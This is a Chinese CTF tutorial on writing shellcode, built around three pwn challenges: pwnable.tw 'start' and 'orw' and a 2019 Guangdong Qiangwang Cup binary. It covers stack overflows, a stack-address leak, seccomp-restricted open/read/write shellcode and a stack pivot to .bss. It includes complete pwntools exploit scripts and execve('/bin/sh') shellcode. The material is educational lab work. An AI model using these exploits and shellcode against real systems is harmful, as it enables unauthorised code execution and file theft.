引言
之前遇到没开启NX
保护的时候,都是直接用pwtools
库里的shellcode
一把梭,也不太懂shellcode
代码具体做了些什么,遇到了几道不能一把梭的题目,简单学习一下shellcode
的编写。
前置知识
NX
(堆栈不可执行)保护- shellcode(一段16进制的数据,转化为字符串则为汇编代码)
pwnable之start
保护检测
可以看到这道题目什么保护都没有开
![1e93c5076814ba61ab1dee13c1b22b51.png](https://i-blog.csdnimg.cn/blog_migrate/0b11fe490c660c70b002b09688845836.png)
ida分析
题目只有start
函数,可以知道该题是用汇编语言写的,顺便可以锻炼一下自己看汇编的能力
![046b4a7c84fe3436b1189fbca6979b4d.png](https://i-blog.csdnimg.cn/blog_migrate/33e996275bfc084e3f2709103f7df7cd.png)
汇编代码分析
简单来说,程序调用了wirte
函数去打印字符,接着调用read
函数输入,但是这里的输入没有限制,因此有一个栈溢出的漏洞,而且程序有个特定,他将esp
的值首先压入了栈中,esp
存的是栈顶的地址,使得我们能够找到栈的地址,为我们返回shellcode
做准备
push esp #将esp寄存器的值压入栈中,这里可以获得栈的地址push offset _exit #将_exit函数地址压入栈中,使得start函数执行完毕时返回exit函数xor eax, eax #清空eax寄存器的值xor ebx, ebx #清空ebx寄存器的值xor ecx, ecx #清空ecx寄存器的值xor edx, edx #清空edx寄存器的值push 3A465443hpush 20656874hpush 20747261hpush 74732073hpush 2774654Ch #压入一堆字符串,即程序运行时的字符串,Let's start the CTF:mov ecx, esp ; addr,将字符串的地址放入ecx寄存器中mov dl, 14h ; len,将打印长度放进dl寄存器中,即16位寄存器mov bl, 1 ; fd,1为文件描述符,指的是屏幕mov al, 4 #eax寄存器,存放的是调用号,4调用号即,write函数int 80h ; LINUX - sys_write,int 0x80调用80中断xor ebx, ebx #清空ebx寄存器,0为文件描述符,即外部输入,例如键盘mov dl, 3Ch #输入的长度 0x3cmov al, 3 #3调用号,即read函数int 80h ; LINUX -add esp, 14h #恢复栈平衡,因为压入字符串消耗了0x14的栈空间,使用完毕后需要换远retn #返回
函数调用表
调用号 | 调用函数名 | eax | ebx | ecx | edx |
---|---|---|---|---|---|
3 | sys_read | 0x03 | unsigned int fd | char __user *buf | size_t count |
4 | sys_write | 0x04 | unsigned int fd | const char __user *buf | size_t count |
思路
- 程序开始将
esp
的值压入栈中,可以获得栈的地址 - 由于程序没有限制输入,因此有栈溢出漏洞,可以修改程序执行的流程
获得栈地址
根据程序的流程,我们可以画出栈的情况
![8fd9aa2250849e8607dd1d969c066a06.png](https://i-blog.csdnimg.cn/blog_migrate/ca9708f6dd88b76d9afab8c42b532740.png)
跟踪调试一下,跟我们预期的一样
![85dc261f85293b6f0b8398bb8a1a94db.png](https://i-blog.csdnimg.cn/blog_migrate/678feab93aa5149f095193ce78471b39.png)
继续跟踪直到程序运行完add esp,14h
,查看一下栈结构
![80df099c6532978daa8a45eba97ca335.png](https://i-blog.csdnimg.cn/blog_migrate/42ddcd8cb4647b7dacc21f5efd3a4a49.png)
此时返回地址指向exit
函数,在执行完ret
指令后,esp
寄存器内容就为栈地址,想要泄露栈地址,则需要将返回地址修改为write
函数,那么具体返回到哪个地址我们继续分析。
可以看到0x4调用前,需要往相应的寄存器传入相应的参数,其中ecx
寄存器就是用于指向需要打印字符串的起始地址。
mov ecx, esp ; addr,将字符串的地址放入ecx寄存器中mov dl, 14h ; len,将打印长度放进dl寄存器中,即16位寄存器mov bl, 1 ; fd,1为文件描述符,指的是屏幕mov al, 4 #eax寄存器,存放的是调用号,4调用号即,write函数int 80h ; LINUX - sys_write,int
在执行完ret
指令后,此时的esp
寄存器的内容恰好指向栈顶的地址
0xffffd12c —▸ 0xffffd130#因为push esp,会使得esp的值减4,因此此时的esp指针指向的内容是旧的esp指针,这点需要注意
![dfe5c19480f40298418942746ceeb839.png](https://i-blog.csdnimg.cn/blog_migrate/9b56fd2649445d80fa51074ebb1921e4.png)
因此只要将返回地址修改为mov ecx,esp
的地址即可打印出栈的地址
sh.recvuntil("Let's start the CTF:")payload = 'a'*20 + p32(0x8048087)#mov ecx,esp的地址#attach(sh)sh.send(payload)esp = u32(sh.recv(4))print 'esp:'+hex(esp)
返回栈地址,执行shellcode
由于程序没有开启NX
保护,即栈空间里的数据是可以执行的,那么我们输入execve()
函数调用的汇编代码,即可执行getshell
调用号 | 调用函数名 | eax | ebx | ecx |
---|---|---|---|---|
11 | sys_execve | 0x0b | const char __user *filename | const char __user *const __user *argv |
shellcode
c语言表示:execve("/bin/sh\x00",0,0)汇编代码:mov eax,0xb #将调用号设置为0xb,即函数execve的调用号xor edx,edx #清空edx寄存器,因为execve的函数edx的值为0xor ecx,ecx #清空ecx寄存器,因为execve的函数ecx的值为0push 0x0068732f #\x00hs/push 0x6e69622f #nib/,小端模式需要反着压入栈中mov ebx,esp #将字符串的地址传递给ebxint 0x80 #调用80中断16进制表示:利用pwntools库里的asm()函数,将汇编代码以16进制的表示形式输入
可以看到简单的shellcode编写需要对照着系统调用号的表,挑取你需要的函数,然后对照着表将参数输入到对应的寄存器,继而调用80中断
实现调用函数。
payload1 = 'a'*20+p32(esp+20)#该返回地址需要自己去调试看看自己shellcode的起始地址,算出与泄露出的栈顶地址的偏移即可payload = asm("mov eax,0xb")payload += asm("xor edx,edx")payload += asm("xor ecx,ecx")payload += asm("push 0x0068732f")payload += asm("push 0x6e69622f")payload += asm("mov ebx,esp")payload += asm("int 0x80")sh.send(payload1+payload)
完整的exp
from pwn import *context(arch='i386',os='linux')sh = process("./start")#sh = remote("node3.buuoj.cn",29479)sh.recvuntil("Let's start the CTF:")payload = 'a'*20 + p32(0x8048087)#attach(sh)sh.send(payload)esp = u32(sh.recv(4))print 'esp:'+hex(esp)payload1 = 'a'*20+p32(esp+20)payload = asm("mov eax,0xb")payload += asm("xor edx,edx")payload += asm("xor ecx,ecx")payload += asm("push 0x0068732f")payload += asm("push 0x6e69622f")payload += asm("mov ebx,esp")payload += asm("int 0x80")sh.send(payload1+payload)sh.interactive()
pwnable之orw
保护检测
开启了canary保护,存在可写并且可执行的区域
![6006854f77483c514320981156c0c59a.png](https://i-blog.csdnimg.cn/blog_migrate/45bcd3c46c6a296872f3a695115efe86.png)
ida分析
orw_seccomp
在该函数里开启了沙盒,这里可以用seccomp-tools
去看下沙盒禁用了什么函数
![fffca2028719847e8722ebbf7a60a097.png](https://i-blog.csdnimg.cn/blog_migrate/c2ff3cdd9778f61d4de5cb590b98f623.png)
工具下载:https://github.com/david942j/seccomp-tools
可以看到,当用i386
机器运行此程序时,只允许使用rt_sigreturn
,sigreturn
,exit_group
,open
,read
,write
的系统调用,我们常用的execve
调用是不允许被使用的
![116726a4edb0e50eb9470a2c4cfa42fe.png](https://i-blog.csdnimg.cn/blog_migrate/1a42e4019cd33c0d1c7d0581befa6e0c.png)
看一下题目描述,告诉我们flag
位于/home/orw/flag
处,而且只允许使用open
,read
,write
的系统调用,这是因为其他系统调用被prtcl
函数所禁用了,这里我们关注在于shellcode,prctl
则在后面的文章会详细介绍。
![b2f95741dfcf86300926056f94c8022c.png](https://i-blog.csdnimg.cn/blog_migrate/3b5b254b51be9fab9be94062f9dda6bb.png)
main函数
名为shellcode的变量位于.bss
段,在输入完毕后会将该变量以函数的形式调用,则这道题不需要去寻找shellcode的返回地址,直接输入一段shellcode即可
![94b49b4f803be937454595156bd5d376.png](https://i-blog.csdnimg.cn/blog_migrate/8d21c575e0bb74d36b0a611fc74b5d7c.png)
思路
- 首先程序禁用了
execve
系统调用,只开放了open
,read
,以及write
的系统调用,意义很明确,是让我们将flag
都出来,而不是取得目标机器的shell
shellcode的编写
在写shellcode前,我们可以先用c语言将读flag的伪代码写出来
c语言
fd = open("/home/orw/flag","w");//首先打开文件read(fd,buf,0x20);//读取文件的信息,放入到局部变量buf中write(1,buf,0x20);//将变量buf的内容打印出来,这里的足够打印出flag的长度即可,由于不知道flag的具体长度可以设置为长一点
调用号 | 调用函数名 | eax | ebx | ecx | edx |
---|---|---|---|---|---|
3 | sys_read | 0x03 | unsigned int fd | char __user *buf | size_t count |
4 | sys_write | 0x04 | unsigned int fd | const char __user *buf | size_t count |
5 | sys_open | 0x05 | const char __user *filename | int flags | umode_t mode |
shellcode
#首先对照伪C代码以及系统调用表进行shellcode的编写fd = open("/home/orw/flag","w")#相应的汇编xor ecx,ecx #清空ecx寄存器,open的调用该寄存器的值设为nullxor edx,edx #清空edx寄存器,open的调用该寄存器的值设为nullmov eax,0x5 #调用号设置为5push 0x006761 #将/home/orw/flag压入栈中,注意是栈是先进后出,因此字符串需要从最末尾开始压入即将字符push 0x6c662f77 #转为16进制要反向排序,并且字符串需要添加截断符\x00,push要以4字节为单位。push 0x726f2f65push 0x6d6f682fmov ebx,esp #fd的值为路径的地址int 0x80 #调用80中断,实现系统调用#c语言read(fd,buf,0x20)或read(3,buf,0x20)#这里的3为其他文件描述符,下面会详细介绍#相应的汇编mov eax,0x4mov ebx,0x3 #这里用3代替了oepn返回的fd指针,因为3可以用作于打开文件时的文件描述符,若想用open返回的指针则应该将系统调用号移动到eax寄存器前,先保存eax的内容。mov ecx,esp #将esp作为临时变量buf的地址mov edx,0x20 #读入的长度为0x20int 0x80 #调用80中断,实现系统调用#c语言write(1,buf,0x20)#相应的汇编mov eax,0x3#系统调用号0x3mov ebx,0x1#文件描述符为1,指向屏幕mov ecx,esp #将esp作为临时变量buf的地址mov edx,0x20 #打印的字符串的长度int 0x80 #调用80中断,实现系统调用#这里可以用pwntools库的一个函数代替,shellcraftc语言:open("/home/orw/flag") <==> 汇编:asm(shellcraft.open("/home/orw/flag"))c语言:read(3,buf,0x20)<==> 汇编:asm(shellcraft.read(3,"esp",0x20)c语言:write(1,buf,0x20)<==>汇编:asm(shellcraft.write(1,"esp",0x20))
文件描述符
内核(kernel)利用文件描述符(file descriptor)来访问文件。文件描述符是非负整数。打开现存文件或新建文件时,内核会返回一个文件描述符。读写文件也需要使用文件描述符来指定待读写的文件。(来自百度百科)
- 0代表标准输入流,stdin
- 1代表标准输出流,stdout
- 2代表标准错误流,stderr
- 当打开一个新的文件时,它的文件描述符为3
exp1
from pwn import *context(log_level='debug',arch='i386',os='linux')#sh = remote("node3.buuoj.cn",29479)sh = remote("chall.pwnable.tw",10001)sh.recvuntil("shellcode:")payload = asm(shellcraft.open("/home/orw/flag"))payload += asm(shellcraft.read(3,"esp",100))payload += asm(shellcraft.write(1,"esp",100))sh.sendline(payload)sh.interactive()
exp2
from pwn import *context(arch='i386',os='linux')#sh = remote("node3.buuoj.cn",25212)sh = remote("chall.pwnable.tw",10001)sh.recvuntil("shellcode:")payload = asm("xor ecx,ecx")payload += asm("xor edx,edx")payload += asm("mov eax,0x5")payload += asm("push 0x006761")payload += asm("push 0x6c662f77")payload += asm("push 0x726f2f65")payload += asm("push 0x6d6f682f")payload += asm("mov ebx,esp")payload += asm("int 0x80")payload += asm("mov eax,0x3")payload += asm("mov ebx,0x3")payload += asm("mov ecx,esp")payload += asm("mov edx,0x20")payload += asm("int 0x80")payload += asm("mov eax,0x4")payload += asm("mov ebx,0x1")payload += asm("mov ecx,esp")payload += asm("mov edx,0x2")payload += asm("int 0x80")sh.sendline(payload)sh.interactive()
2019广东强网杯线下题目
保护检测
同样是基本没开启防护,并且具有可写并可执行区域
![fed225018056c0508a6dc27e21165612.png](https://i-blog.csdnimg.cn/blog_migrate/68004d3ad62a6123feb7e4a46d1f88bc.png)
ida分析
main函数
程序有1,2,3,三个选择,选择1 时仅仅是打印一串无作用的字符串,选择2时会当挑战满足时会打印栈地址,选择3可以执行栈溢出漏洞
![04dd9e1dd090668356667b3d6f14bdac.png](https://i-blog.csdnimg.cn/blog_migrate/e03145c8f02bfbafebf9e9a46febd949.png)
仅仅只有0x10的溢出空间,可以恰好覆盖返回地址
![4a684f654742f8a0e36038990645e50e.png](https://i-blog.csdnimg.cn/blog_migrate/b750d8b2e8dafede4f7745de7f39dea6.png)
magic函数
当传入的参数a2的值等于305419896时,则打印a1的值
![d22be3bc0140f7fdf92ac32930019a2d.png](https://i-blog.csdnimg.cn/blog_migrate/b73d3010e018e2e11a5831d18f3499f2.png)
我们可以看下magic函数传入的两个变量,一个为buf
的地址,一个为局部变量v11
,v11
的值可以通过buf
溢出后修改
![263021282c7f6a0cfe4326ff553fa47f.png](https://i-blog.csdnimg.cn/blog_migrate/3ba74e1efa2b76fdb90eaa317a0f67cd.png)
思路
- 程序存在栈溢出的漏洞,但是溢出的字节数较少,只能刚好溢出返回地址
- 程序可以利用栈溢出覆盖变量
v11
的值,从而泄露buf
的地址 - 这道题我们用另一种思路,在栈上写栈转移的汇编代码,将栈转移到
.bss
段中,在向.bss
段写入shellcode
,需要注意的是该题是64位,而64位的系统调用号与32位不同。
调用号 | 函数名 | rax | rdi | rsi | rdx |
---|---|---|---|---|---|
0 | sys_read | 0x00 | unsigned int fd | char __user *buf | size_t count |
汇编代码分析
payload = asm("mov rax,0;") #系统调用号payload += asm("mov rdi,0;")#文件描述符payload += asm("mov rsi,0x601080")#.bss段地址,用于buf地址payload += asm("mov rdx,0x40")#输入长度payload += asm("syscall")#syscall启动调用payload += asm("push 0x601080")#返回地址payload += asm("ret")#ret指令返回任意地址payload = payload.ljust(0x38,'b')payload += p64(addr)
完整的exp
from pwn import *context(log_level='debug',arch='amd64',os='linux')sh = process("./pwn")sh.recvuntil(" your choice:")sh.sendline("3")sh.recvuntil("What?")payload = 'a'*0x28+p64(305419896)sh.send(payload)sh.recvuntil(" your choice:")sh.sendline("2")sh.recvuntil("It is magic: [")addr = int(sh.recv(14),16)print 'addr:'+hex(addr)sh.sendline("3")sh.recvuntil("What?")payload = asm("mov rax,0;")payload += asm("mov rdi,0;")payload += asm("mov rsi,0x601080")payload += asm("mov rdx,0x40")payload += asm("syscall")payload += asm("push 0x601080")payload += asm("ret")payload = payload.ljust(0x38,'b')payload += p64(addr)#attach(sh)sh.send(payload)payload = asm("mov eax,59") #调用59号系统调用,execve("/bin/sh",0,0);payload += asm("xor rsi,rsi")payload += asm("xor rdx,rdx")payload += asm("mov rdi, 0x6010a8")payload += asm("syscall")payload = payload.ljust(0x28,'\x00')payload += '/bin/sh\x00'attach(sh)sh.send(payload)sh.interactive()
总结
- shellcode的编写的需要借助调用表,根据调用表的参数值,往对应的寄存器赋值
- start例题学会常用的系统调用
execve("/bin/sh",0,0)
的编写 - orw例题则学会读给定路径的内容,从而学习
open
,read
,write
系统调用的编写 - 广东强网杯这题则灵活利用栈可执行的条件,使用汇编实现栈转移,以及往指定地址写入内容。
![1fdbdd3aa0730e07fa9160d6b18be397.gif](https://i-blog.csdnimg.cn/blog_migrate/4881dfd1335645be044b5e28316a9431.gif)
shellcode原理
https://www.hetianlab.com/expc.do?ec=ECIDa5cd-1210-4eaf-a9bb-6256a5624bc2
(shellcode是一段用于利用软件漏洞而执行的代码,可在有能力劫持指令寄存器后,在内存中塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。)
欢迎投稿至邮箱:edu@heetian.com
有才能的你快来投稿吧!
投稿细则都在里面了,点击查看哦
重金悬赏 | 合天原创投稿涨稿费啦!
![52acddadd646719bffc0984315a09747.png](https://i-blog.csdnimg.cn/blog_migrate/1e74952b2ef3c026dec67a687c7166f1.jpeg)
![c2c5754bb8053cbd4a731815f1dbd24d.gif](https://i-blog.csdnimg.cn/blog_migrate/969f5681fa3a6b9d2b823684c0ad437b.gif)